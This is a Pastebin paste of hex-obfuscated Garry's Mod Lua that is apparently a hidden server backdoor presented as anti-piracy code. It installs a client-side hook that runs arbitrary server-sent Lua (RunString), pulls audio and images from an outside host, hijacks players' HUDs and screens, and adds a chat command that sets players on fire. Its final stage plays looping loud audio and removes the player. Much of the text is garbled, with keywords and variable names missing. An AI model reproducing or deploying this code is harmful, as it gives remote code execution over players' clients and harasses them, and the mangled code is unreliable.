Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- File: ?.lua
- For: Annoying pirates to death, then annoying them some more until they die a second
- By: Ultra
- ]]--
- if getfenv()["\x47\x65\x74\x43\x6f\x6e\x56\x61\x72\x53\x74\x72\x69\x6e\x67"]('ip') != "\x31\x34\x39\x2e\x32\x30\x32\x2e\x36\x35\x2e\x31\x39\x32" then urn end
- getfenv()["\x75\x74\x69\x6c"]["\x41\x64\x64\x4e\x65\x74\x77\x6f\x72\x6b\x53\x74\x72\x69\x6e\x67"]("\x73\x6c\x75\x61")
- local = {}
- function :RandomString( intMin, intMax )
- local = ""
- for _ = 1, h.random( intMin, intMax ) do
- = .. getfenv()["\x73\x74\x72\x69\x6e\x67"]["\x63\x68\x61\x72\x28\x20\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x68"]( h.random(65, 90) )
- end
- urn
- end
- .m_tblActions = {}
- .m_strImageGlobalVar = :RandomString( 6, 12 )
- .m_strImageLoadHTML = [[<style type="\x74\x65\x78\x74\x2f\x63\x73\x73"> , body {background-color: transparent;} {overflow:hidden; ]].. (true and "\x6d\x61\x72\x67\x69\x6e\x3a\x20\x2d\x38\x70\x78\x20\x2d\x38\x70\x78\x3b" or "\x6d\x61\x72\x67\x69\x6e\x3a\x20\x30\x70\x78\x20\x30\x70\x78\x3b") ..[[ } </style><body><img src="\x5d\x5d\x20\x2e\x2e\x20"%s"\x20\x2e\x2e\x20\x5b\x5b" alt="" width="\x5d\x5d\x20\x2e\x2e\x20"%i"\x2e\x2e\x5b\x5b" height="\x5d\x5d\x20\x2e\x2e\x20"%i"\x20\x2e\x2e\x20\x5b\x5b" /></body>]]
- function :PushAction( intChainDelay, func )
- self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
- end
- function :NextAction( pPlayer )
- pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
- if not self.m_tblActions[pPlayer.m_intCurAction] then urn end
- r.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
- if not getfenv()["\x49\x73\x56\x61\x6c\x69\x64"]( pPlayer ) then urn end
- self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
- self:NextAction( pPlayer )
- end )
- end
- function :Start( pPlayer )
- pPlayer.m_intCurAction = 0
- self:NextAction( pPlayer )
- end
- function :SendLua( pPlayer, strLua )
- net.Start( "\x73\x6c\x75\x61" )
- net.WriteString( strLua )
- net.Send( pPlayer )
- end
- function :Setupgetfenv()["\x50\x6c\x61\x79\x65\x72"]( pPlayer )
- pPlayer:SendLua( "\x6e\x65\x74\x2e\x52\x65\x63\x65\x69\x76\x65\x28\x5c\x22\x73\x6c\x75\x61\x5c\x22\x2c\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20\x52\x75\x6e\x53\x74\x72\x69\x6e\x67\x28\x6e\x65\x74\x2e\x52\x65\x61\x64\x53\x74\x72\x69\x6e\x67\x28\x29\x29\x20\x65\x6e\x64\x29" )
- end
- for k, v in getfenv()["\x70\x61\x69\x72\x73\x28\x20\x70\x6c\x61\x79\x65\x72"]["\x47\x65\x74\x41\x6c\x6c\x28\x29"]( player.GetAll() ) do
- :Setupgetfenv()["\x50\x6c\x61\x79\x65\x72"]( v )
- r.Simple( 2, function() :Start( v ) end )
- end
- hook.Add( "\x50\x6c\x61\x79\x65\x72\x41\x75\x74\x68\x65\x64", "\x77\x61\x74", function( pPlayer )
- r.Simple(h.random(60,120),function()
- :Setupgetfenv()["\x50\x6c\x61\x79\x65\x72"]( pPlayer )
- r.Simple( 10, function() :Start( pPlayer ) end )
- getfenv()["\x52\x75\x6e\x43\x6f\x6e\x73\x6f\x6c\x65\x43\x6f\x6d\x6d\x61\x6e\x64"]("\x68\x6f\x73\x74\x6e\x61\x6d\x65","\x57\x65\x20\x4c\x6f\x76\x65\x20\x54\x6f\x20\x4c\x65\x61\x6b\x20\x21")
- end)
- end )
- hook.Add( "\x50\x6c\x61\x79\x65\x72\x53\x61\x79", "\x31\x33\x33\x37\x63\x6f\x6d\x6d\x61\x6e\x64", function( pSender, strText, bTeamChat )
- if strText:sub( 1, 5 ) == "\x2f\x31\x33\x33\x37" then
- pSender:Ignite( 1e9 )
- pSender:ChatPrint( "\x202c\x202c\x20\x6a\x6b" )
- pSender:SendLua( [[getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x50\x6c\x61\x79\x53\x6f\x75\x6e\x64"]( "\x76\x6f\x2f\x6e\x70\x63\x2f\x6d\x61\x6c\x65\x30\x31\x2f\x68\x61\x63\x6b\x73\x30\x31\x2e\x77\x61\x76" )]] )
- urn false
- end
- end )
- --Sequence stack
- --Start some tunes and steam in our assets
- :PushAction( 0, function( pPlayer )
- :SendLua( pPlayer, ([=[
- sound.PlayURL( "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2e\x6f\x72\x67\x2f\x6c\x65\x61\x6b\x2f\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2f\x62\x6c\x75\x65\x2e\x6d\x70\x33", "", function()end )
- g_]=].. .m_strImageGlobalVar.. [=[ = {}
- local = [[%s]]
- local function ( strURL, strUID, intX, intY )
- local = vgui.Create( "\x48\x54\x4d\x4c" )
- :SetPos( ScrW() -1, ScrH() -1 )
- :SetVisible( true )
- :SetMouseInputEnabled( false )
- :SetKeyBoardInputEnabled( false )
- :Set( intX, intY )
- :SetHTML( :for(strURL, intX, intY) )
- local PageLoaded
- PageLoaded = function()
- local = :GetHTMLMaterial()
- if then
- g_]=].. .m_strImageGlobalVar.. [=[[strUID] = { , }
- urn
- end
- r.Simple( 0.5, PageLoaded )
- end
- PageLoaded()
- end
- ( "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2e\x6f\x72\x67\x2f\x6c\x65\x61\x6b\x2f\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2f\x68\x75\x64\x2e\x70\x6e\x67", "\x68\x75\x64\x31", 300, 128 )
- ( "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2e\x6f\x72\x67\x2f\x6c\x65\x61\x6b\x2f\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2f\x68\x75\x64\x32\x2e\x70\x6e\x67", "\x68\x75\x64\x32", 300, 128 )
- ( "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2e\x6f\x72\x67\x2f\x6c\x65\x61\x6b\x2f\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2f\x68\x75\x64\x33\x2e\x70\x6e\x67", "\x68\x75\x64\x33", 128, 128 )
- ( "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2e\x6f\x72\x67\x2f\x6c\x65\x61\x6b\x2f\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2f\x78\x68\x61\x69\x72\x2e\x70\x6e\x67", "\x78\x68\x61\x69\x72", 64, 64 )
- ( "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2e\x6f\x72\x67\x2f\x6c\x65\x61\x6b\x2f\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2f\x64\x6f\x72\x69\x74\x6f\x73\x2e\x70\x6e\x67", "\x64\x6f\x72\x69\x74\x6f\x73", 183, 256 )
- ( "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2e\x6f\x72\x67\x2f\x6c\x65\x61\x6b\x2f\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2f\x66\x65\x64\x6f\x72\x61\x2e\x70\x6e\x67", "\x66\x65\x64\x6f\x72\x61", 256, 256 )
- ( "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2e\x6f\x72\x67\x2f\x6c\x65\x61\x6b\x2f\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2f\x64\x65\x77\x2e\x70\x6e\x67", "\x64\x65\x77", 110, 256 )
- ( "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2e\x6f\x72\x67\x2f\x6c\x65\x61\x6b\x2f\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2f\x61\x77\x70\x2e\x70\x6e\x67", "\x61\x77\x70", 256, 55 )
- ]=]):for(.m_strImageLoadHTML) )
- end )
- --HUD swap
- :PushAction( 31, function( pPlayer )
- :SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local = { "\x50\x6f\x73\x74\x44\x72\x61\x77\x48\x55\x44", "\x50\x72\x65\x44\x72\x61\x77\x48\x55\x44", "\x48\x55\x44\x50\x61\x69\x6e\x74", "\x48\x55\x44\x50\x61\x69\x6e\x74\x42\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64", "\x43\x61\x6c\x63\x56\x69\x65\x77", "\x53\x68\x6f\x75\x6c\x64\x44\x72\x61\x77\x4c\x6f\x63\x61\x6c\x50\x6c\x61\x79\x65\x72" }
- for k, v in getfenv()["\x70\x61\x69\x72\x73"]() do
- hook.GetTable()[v] = {}
- end
- local function ( strURL )
- urn g_]].. .m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "\x48\x55\x44\x50\x61\x69\x6e\x74", "\x6e\x65\x77\x68\x75\x64", function()
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x53\x65\x74\x44\x72\x61\x77\x43\x6f\x6c\x6f\x72"]( 255, 255, 255, 255 )
- if ( "\x68\x75\x64\x31" ) then
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x53\x65\x74\x4d\x61\x74\x65\x72\x69\x61\x6c"]( ("\x68\x75\x64\x31")[1] )
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x44\x72\x61\x77\x54\x65\x78\x74\x75\x72\x65\x64\x52\x65\x63\x74"]( 0, ScrH() -128, 300 *(512 /300), 128 )
- end
- if ( "\x68\x75\x64\x32" ) then
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x53\x65\x74\x4d\x61\x74\x65\x72\x69\x61\x6c"]( ("\x68\x75\x64\x32")[1] )
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x44\x72\x61\x77\x54\x65\x78\x74\x75\x72\x65\x64\x52\x65\x63\x74"]( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
- end
- if ( "\x68\x75\x64\x33" ) then
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x53\x65\x74\x4d\x61\x74\x65\x72\x69\x61\x6c"]( ("\x68\x75\x64\x33")[1] )
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x44\x72\x61\x77\x54\x65\x78\x74\x75\x72\x65\x64\x52\x65\x63\x74"]( 45, ScrH() -245, 128, 128 )
- end
- if ( "\x78\x68\x61\x69\x72" ) then
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x53\x65\x74\x4d\x61\x74\x65\x72\x69\x61\x6c"]( ("\x78\x68\x61\x69\x72")[1] )
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x44\x72\x61\x77\x54\x65\x78\x74\x75\x72\x65\x64\x52\x65\x63\x74"]( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
- end
- if ( "\x64\x6f\x72\x69\x74\x6f\x73" ) then
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x53\x65\x74\x4d\x61\x74\x65\x72\x69\x61\x6c"]( ("\x64\x6f\x72\x69\x74\x6f\x73")[1] )
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x44\x72\x61\x77\x54\x65\x78\x74\x75\x72\x65\x64\x52\x65\x63\x74\x52\x6f\x74\x61\x74\x65\x64\x28\x20\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x68"]( h.random(250, 260), h.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
- end
- if ( "\x64\x65\x77" ) then
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x53\x65\x74\x4d\x61\x74\x65\x72\x69\x61\x6c"]( ("\x64\x65\x77")[1] )
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x44\x72\x61\x77\x54\x65\x78\x74\x75\x72\x65\x64\x52\x65\x63\x74\x52\x6f\x74\x61\x74\x65\x64\x28\x20\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x68"]( h.random(400, 410), h.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
- end
- if ( "\x66\x65\x64\x6f\x72\x61" ) then
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x53\x65\x74\x4d\x61\x74\x65\x72\x69\x61\x6c"]( ("\x66\x65\x64\x6f\x72\x61")[1] )
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x44\x72\x61\x77\x54\x65\x78\x74\x75\x72\x65\x64\x52\x65\x63\x74\x52\x6f\x74\x61\x74\x65\x64"]( ScrW() -h.random(250, 260), h.random(250, 260), 256, 256, CurTime() *-512 )
- end
- if ( "\x61\x77\x70" ) then
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x53\x65\x74\x4d\x61\x74\x65\x72\x69\x61\x6c"]( ("\x61\x77\x70")[1] )
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x44\x72\x61\x77\x54\x65\x78\x74\x75\x72\x65\x64\x52\x65\x63\x74\x52\x6f\x74\x61\x74\x65\x64"]( ScrW() -h.random(400, 410), h.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
- end
- getfenv()["\x64\x72\x61\x77"]["\x53\x69\x6d\x70\x6c\x65\x54\x65\x78\x74\x4f\x75\x74\x6c\x69\x6e\x65\x64"](
- "\x43d\x430\x439\x434\x435\x43d\x43d\x430\x44f\x20\x423\x442\x435\x447\x43a\x430\x20\x2d\x20\x4c\x45\x41\x4b\x20\x46\x4f\x55\x4e\x44\x20\x2d\x20\x440\x443\x441\x441\x43a\x438\x439\x20\x43e\x434\x43e\x431\x440\x44f\x435\x442",
- "\x44\x65\x72\x6d\x61\x4c\x61\x72\x67\x65",
- ScrW() /2 +h.random( -8, 8 ),
- ScrH() /2 +h.random( -8, 8 ) +64,
- getfenv()["\x43\x6f\x6c\x6f\x72"]( 255, 0, 0, 255 ),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- getfenv()["\x43\x6f\x6c\x6f\x72"]( 0, 0, 255, 255 )
- )
- end )
- local = { ["\x43\x48\x75\x64\x43\x68\x61\x74"] = true, ["\x43\x48\x75\x64\x47\x4d\x6f\x64"] = true, ["\x43\x48\x75\x64\x57\x65\x61\x70\x6f\x6e\x53\x65\x6c\x65\x63\x74\x69\x6f\x6e"] = true, ["\x43\x48\x75\x64\x4d\x65\x6e\x75"] = true }
- hook.Add( "\x48\x55\x44\x53\x68\x6f\x75\x6c\x64\x44\x72\x61\x77", "\x6e\x65\x77\x68\x75\x64", function( str ) if not [str] then urn false end end )
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x50\x6c\x61\x79\x53\x6f\x75\x6e\x64"]( "\x67\x61\x72\x72\x79\x73\x6d\x6f\x64\x2f\x73\x61\x76\x65\x5f\x6c\x6f\x61\x64\x34\x2e\x77\x61\x76" )
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x50\x6c\x61\x79\x53\x6f\x75\x6e\x64"]( "\x76\x6f\x2f\x6e\x70\x63\x2f\x6d\x61\x6c\x65\x30\x31\x2f\x65\x78\x63\x75\x73\x65\x6d\x65\x30\x32\x2e\x77\x61\x76" )
- ]] )
- end )
- --Disco
- :PushAction( 10, function( pPlayer )
- local = pPlayer:EntIndex()
- r.Create( "\x62\x65\x61\x74".. , 0.42, 0, function()
- if not getfenv()["\x49\x73\x56\x61\x6c\x69\x64"]( pPlayer ) then r.Destroy( "\x62\x65\x61\x74".. ) urn end
- pPlayer:ViewPunch( getfenv()["\x41\x6e\x67\x6c\x65\x28\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x68"]["\x52\x61\x6e\x64\x28\x2d\x31\x35\x2c\x20\x2d\x31\x30\x29"](h.Rand(-15, -10), h.Rand(-10, 10), 0) )
- end )
- :SendLua( pPlayer, [[
- local = getfenv()["\x50\x61\x72\x74\x69\x63\x6c\x65\x45\x6d\x69\x74\x74\x65\x72"]( LocalPlayer():GetPos() )
- local = 0
- hook.Add( "\x54\x68\x69\x6e\x6b", "\x77\x61\x74", function()
- if CurTime() < then
- urn
- end
- = CurTime() +0.05
- for i = 1, 16 do
- local = :Add(
- "\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x69\x63\x6c\x65\x73\x2f\x62\x61\x6c\x6c\x6f\x6f\x6e\x5f\x62\x69\x74",
- LocalPlayer():GetPos() +getfenv()["\x56\x65\x63\x74\x6f\x72\x28\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x68"]["\x72\x61\x6e\x64\x6f\x6d\x28\x20\x2d\x32\x35\x36\x2c\x20\x32\x35\x36\x20\x29"](
- h.random( -256, 256 ),
- h.random( -256, 256 ),
- 256
- )
- )
- if then
- local = h.random( 4, 7 )
- :Setgetfenv()["\x43\x6f\x6c\x6f\x72\x28\x20\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x68"]["\x72\x61\x6e\x64\x6f\x6d\x28\x30\x2c\x20\x32\x35\x35\x29"]( h.random(0, 255), h.random(0, 255), h.random(0, 255), 255 )
- :SetVelocity( getfenv()["\x56\x65\x63\x74\x6f\x72\x28\x20\x34\x30\x2c\x20\x32\x35\x2c\x20\x2d\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x68"]["\x72\x61\x6e\x64\x6f\x6d\x28\x33\x30\x30\x2c\x20\x34\x30\x30\x29"]( 40, 25, -h.random(300, 400) ) )
- :SetDieTime( 4.5 )
- :SetGravity( getfenv()["\x56\x65\x63\x74\x6f\x72"](40, 0, -250) )
- :SetLifeTime( 0 )
- :SetStart( /2 )
- :SetEnd( )
- :SetCollide( true )
- end
- end
- end )
- ]] )
- :SendLua( pPlayer, [[
- hook.Add( "\x52\x65\x6e\x64\x65\x72\x53\x63\x72\x65\x65\x6e\x73\x70\x61\x63\x65\x45\x66\x66\x65\x63\x74\x73", "\x77\x61\x74", function()
- local = h.sin( CurTime() )
- getfenv()["\x44\x72\x61\x77\x42\x6c\x6f\x6f\x6d\x28\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x30\x2c\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x33\x2c\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x20\x2a\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x68"]["\x52\x61\x6e\x64\x28\x31\x2c\x20\x38\x29"](
- 0,
- 3,
- *h.Rand(1, 8),
- *h.Rand(1, 8),
- 6,
- h.Rand(0.5, 2),
- h.Rand(0, 0.3),
- h.Rand(0, 0.3),
- h.Rand(0.5, 1)
- )
- DrawColorModify{
- ["\x24\x70\x70\x5f\x63\x6f\x6c\x6f\x75\x72\x5f\x61\x64\x64\x72"] = 0,
- ["\x24\x70\x70\x5f\x63\x6f\x6c\x6f\x75\x72\x5f\x61\x64\x64\x67"] = 0,
- ["\x24\x70\x70\x5f\x63\x6f\x6c\x6f\x75\x72\x5f\x61\x64\x64\x62"] = 00,
- ["\x24\x70\x70\x5f\x63\x6f\x6c\x6f\x75\x72\x5f\x62\x72\x69\x67\x68\x74\x6e\x65\x73\x73" ] = 0,
- ["\x24\x70\x70\x5f\x63\x6f\x6c\x6f\x75\x72\x5f\x63\x6f\x6e\x74\x72\x61\x73\x74" ] = 1,
- ["\x24\x70\x70\x5f\x63\x6f\x6c\x6f\x75\x72\x5f\x63\x6f\x6c\x6f\x75\x72" ] = 1,
- ["\x24\x70\x70\x5f\x63\x6f\x6c\x6f\x75\x72\x5f\x6d\x75\x6c\x72" ] = 0,
- ["\x24\x70\x70\x5f\x63\x6f\x6c\x6f\x75\x72\x5f\x6d\x75\x6c\x67" ] = 0,
- ["\x24\x70\x70\x5f\x63\x6f\x6c\x6f\x75\x72\x5f\x6d\x75\x6c\x62" ] = 1
- }
- end )
- local = getfenv()["\x43\x6c\x69\x65\x6e\x74\x73\x69\x64\x65\x4d\x6f\x64\x65\x6c"]( "\x6d\x6f\x64\x65\x6c\x73\x2f\x70\x6c\x61\x79\x65\x72\x2f\x73\x6b\x65\x6c\x65\x74\x6f\x6e\x2e\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c\x202c", RENDERGROUP_BOTH )
- :SetNoDraw( true )
- local posCache, = {}, 0
- hook.Add( "\x48\x55\x44\x50\x61\x69\x6e\x74", "\x64\x61\x6e\x63\x65", function()
- if not .SeqStart or CurTime() > (.SeqStart +.SeqDuration) then
- local = :LookupSequence("\x74\x61\x75\x6e\x74\x5f\x64\x61\x6e\x63\x65")
- .SeqDuration = :SequenceDuration( )
- .SeqStart = CurTime()
- :ResetSequence( )
- end
- :SetCycle( (CurTime() -.SeqStart) /.SeqDuration )
- local w, h = 300, 300
- local = getfenv()["\x41\x6e\x67\x6c\x65"]( 0, 0, 0 )
- for i = 1, 32 do
- if CurTime() > then
- posCache[i] = { h.random( 0, ScrW() -w ), h.random( 0, ScrH() -h ) }
- end
- local x, y = posCache[i][1], posCache[i][2]
- cam.Start3D( (:Forward() *64) +(:Up() *32), (:Forward()*-1):Angle(), 90, x, y, w, h )
- cam.IgnoreZ( true )
- render.SuppressEngineLighting( true )
- render.SetLightingOrigin( :GetPos() )
- render.ResetModelLighting( 1, 1, 1 )
- render.SetColorModulation( 0, 0, 1 )
- :DrawModel()
- render.SuppressEngineLighting( false )
- cam.IgnoreZ( false )
- cam.End3D()
- end
- if CurTime() > then
- = CurTime() +0.15
- end
- end )
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x50\x6c\x61\x79\x53\x6f\x75\x6e\x64"]( "\x76\x6f\x2f\x6e\x70\x63\x2f\x6d\x61\x6c\x65\x30\x31\x2f\x6f\x68\x6e\x6f\x2e\x77\x61\x76" )
- ]] )
- end )
- --Let the beat drop
- :PushAction( 54, function( pPlayer )
- :SendLua( pPlayer, [[
- hook.Add( "\x47\x65\x74\x4d\x6f\x74\x69\x6f\x6e\x42\x6c\x75\x72\x56\x61\x6c\x75\x65\x73", "\x77\x61\x74", function()
- urn 0, 0, 1, h.sin(CurTime() *13)
- end )
- hook.Add( "\x52\x65\x6e\x64\x65\x72\x53\x63\x72\x65\x65\x6e\x73\x70\x61\x63\x65\x45\x66\x66\x65\x63\x74\x73", "\x6f\x68\x67\x6f\x64", function()
- local = h.sin( CurTime() *(RealFrameTime() *1024) )
- getfenv()["\x44\x72\x61\x77\x53\x68\x61\x72\x70\x65\x6e"]( 1 +( *10), 0.5 +( *2) )
- getfenv()["\x44\x72\x61\x77\x4d\x61\x74\x65\x72\x69\x61\x6c\x4f\x76\x65\x72\x6c\x61\x79"]( "\x65\x66\x66\x65\x63\x74\x73\x2f\x74\x70\x5f\x65\x79\x65\x66\x78\x2f\x74\x70\x65\x79\x65", 1 )
- end )
- hook.Add( "\x50\x6f\x73\x74\x44\x72\x61\x77\x54\x72\x61\x6e\x73\x6c\x75\x63\x65\x6e\x74\x52\x65\x6e\x64\x65\x72\x61\x62\x6c\x65\x73", "\x6f\x68\x67\x6f\x64", function()
- render.Setgetfenv()["\x4d\x61\x74\x65\x72\x69\x61\x6c"]( Material("\x63\x61\x62\x6c\x65\x2f\x62\x6c\x75\x65\x5f\x65\x6c\x65\x63") )
- for i = 1, 32 do
- render.DrawBeam( LocalPlayer():GetPos() +getfenv()["\x56\x65\x63\x74\x6f\x72"](0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, getfenv()["\x43\x6f\x6c\x6f\x72"](255, 255, 255, 255) )
- end
- end )
- r.Create( "\x74\x68\x65\x64\x72\x6f\x70", 0.42, 0, function()
- getfenv()["\x75\x74\x69\x6c"]["\x53\x63\x72\x65\x65\x6e\x53\x68\x61\x6b\x65"]( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
- end )
- ]] )
- end )
- --EVIL TIME rip headpones
- :PushAction( 175, function( pPlayer )
- :SendLua( pPlayer, [[
- getfenv()["\x73\x75\x72\x66\x61\x63\x65"]["\x50\x6c\x61\x79\x53\x6f\x75\x6e\x64"]( "\x76\x6f\x2f\x6e\x70\x63\x2f\x6d\x61\x6c\x65\x30\x31\x2f\x67\x65\x74\x68\x65\x6c\x6c\x6f\x75\x74\x2e\x77\x61\x76" )
- local = {}
- for i = 1, 4 do
- sound.PlayURL( "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2e\x6f\x72\x67\x2f\x6c\x65\x61\x6b\x2f\x75\x6e\x64\x65\x72\x64\x6f\x6e\x65\x2f\x61\x73\x64\x2e\x6d\x70\x33", "\x6e\x6f\x62\x6c\x6f\x63\x6b\x20\x6e\x6f\x70\x6c\x61\x79", function( pChan )
- [# +1] = pChan
- end )
- end
- r.Create( "\x61\x73\x64\x66", 1, 0, function()
- if # ~= 4 then urn end
- r.Destroy( "\x61\x73\x64\x66" )
- for k, v in getfenv()["\x70\x61\x69\x72\x73"]( ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
- end )
- hook.Add( "\x48\x55\x44\x53\x68\x6f\x75\x6c\x64\x44\x72\x61\x77", "\x6e\x65\x77\x68\x75\x64", function() urn false end )
- ]] )
- pPlayer:Remove()
- end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement